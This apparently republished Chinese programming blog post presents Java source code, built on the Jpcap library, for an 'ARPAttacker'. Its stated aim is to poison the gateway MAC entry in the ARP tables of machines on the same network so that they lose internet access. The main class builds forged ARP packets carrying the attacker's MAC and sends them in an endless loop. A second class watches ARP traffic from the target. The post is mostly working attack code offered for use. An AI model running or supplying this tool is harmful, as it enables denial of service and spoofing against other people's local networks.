Jpcap development for ARP

来源:互联网 发布:图论算法定义 编辑:程序博客网 时间:2024/06/14 05:08

Jpcap URL: http://netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html

Jpcap API:  http://netresearch.ics.uci.edu/kfujii/jpcap/doc/javadoc/index.html

 

ARPAttacker:

 

method: Attack the computers in the same network with attacker via broadcasting the arp request packets to the computers in order to modify the gate mac value of the arp ip-mac hashtable so the computers attacked will not surfer the internet because of unfinding the right position of gate.

 

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

package arpcap;
import jpcap.*;
import java.io.IOException;
import jpcap.packet.*;
/**
 *
 * @author Administrator
 */
public class Main {

    static ARPPacket initialARP(byte[] targetIP,byte[] localMac,byte[] localIP){
        byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
        ARPPacket arp=new ARPPacket();

        arp.hardtype=ARPPacket.HARDTYPE_ETHER;
  arp.prototype=ARPPacket.PROTOTYPE_IP;
  arp.operation=ARPPacket.ARP_REQUEST;
  arp.hlen=6;
  arp.plen=4;
  arp.sender_hardaddr=localMac;
  arp.sender_protoaddr=localIP;
  arp.target_hardaddr=broadcast;
  arp.target_protoaddr=targetIP;

     EthernetPacket ether=new EthernetPacket();
  ether.frametype=EthernetPacket.ETHERTYPE_ARP;
  ether.src_mac=localMac;
  ether.dst_mac=broadcast;
  arp.datalink=ether;
       
        return arp;
    }

        static ARPPacket initialREPARP(byte[] targetMac,byte[] targetIP,byte[] localMac,byte[] localIP){
            ARPPacket reply=new ARPPacket();

            reply.hardtype=ARPPacket.HARDTYPE_ETHER;
            reply.prototype=ARPPacket.PROTOTYPE_IP;
            reply.operation=ARPPacket.ARP_REPLY;
            reply.hlen=6;
            reply.plen=4;
            reply.sender_hardaddr=localMac;
            reply.sender_protoaddr=localIP;
            reply.target_hardaddr=targetMac;
            reply.target_protoaddr=targetIP;

            EthernetPacket ether=new EthernetPacket();
            ether.frametype=EthernetPacket.ETHERTYPE_ARP;
            ether.src_mac=localMac;
            ether.dst_mac=targetMac;
            reply.datalink=ether;

            return reply;
    }
    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        // TODO code application logic here
        NetworkInterface[] devices=JpcapCaptor.getDeviceList();
        for(NetworkInterface device:devices){
            System.out.println(device.name);
            NetworkInterfaceAddress[] addrs=device.addresses;
            for(NetworkInterfaceAddress addr:addrs){
                System.out.println(addr.address);
            }
            String macStr="";
            for(int i=0;i<device.mac_address.length;i++){
                macStr+=Integer.toHexString(device.mac_address[i]& 0xFF);
                if(i<(device.mac_address.length-1)){
                    macStr+="-";
                }
            }
            System.out.println(macStr);
            System.out.println("---------------------------------------------");
        }
        System.out.println("请选择将要监控的网络适配器:(从0开始计算)");
        try{
            int deviceIndex=System.in.read()-48;
            NetworkInterface device=devices[deviceIndex];
            byte[] localMac=device.mac_address;
            byte[] localIP=device.addresses[0].address.getAddress();
            String targetIPStr="10.10.10.10";
            byte[] targetIP=new byte[4];
            int i=0;
            for(String str:targetIPStr.split("[.]")){
                targetIP[i++]=(byte)(Integer.parseInt(str));
            }
            String targetMacStr="00:0d:48:13:04:c4";
            byte[] targetMac=new byte[6];
            int j=0;
            for(String str:targetMacStr.split("[:]")){
                targetMac[j++]=(byte)(Integer.parseInt(str,16));
            }
            JpcapCaptor cap=JpcapCaptor.openDevice(device, 2000, true, 3000);
            cap.setFilter("arp", true);
            System.out.println("初始化ARP请求发送包:");
            //ARPPacket arp=initialREPARP(targetMac,targetIP,localMac,targetIP);
            ARPPacket arp=initialARP(targetIP,localMac,targetIP);
            JpcapSender sender=cap.getJpcapSenderInstance();
            while(true){
                sender.sendPacket(arp);
            }
        }catch(IOException ex){
            System.out.println(ex.toString());
        }       
    }
}

 

 

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

package arpcap;
import java.util.Arrays;
import jpcap.packet.*;
import jpcap.PacketReceiver;
import java.net.*;
/**
 *
 * @author Administrator
 */
public class packetPrinter implements PacketReceiver {
    public void receivePacket(Packet p){
       ARPPacket arp=(ARPPacket)p;
       String targetIPStr="10.10.10.10";
       byte[] targetIP=new byte[4];
       int i=0;
       for(String str:targetIPStr.split("[.]")){
           targetIP[i++]=(byte)(Integer.parseInt(str));
       }
       try{
            if(Arrays.equals(arp.sender_protoaddr,targetIP) & Arrays.equals(arp.target_protoaddr,Inet4Address.getLocalHost().getAddress())){
                for(int j=0;j<6;j++){
                    System.out.println(((EthernetPacket)arp.datalink).dst_mac[1]);
                }
                System.out.println(arp);
            }
       }catch(Exception ex){
           System.out.println(ex.toString());
       }
    }
}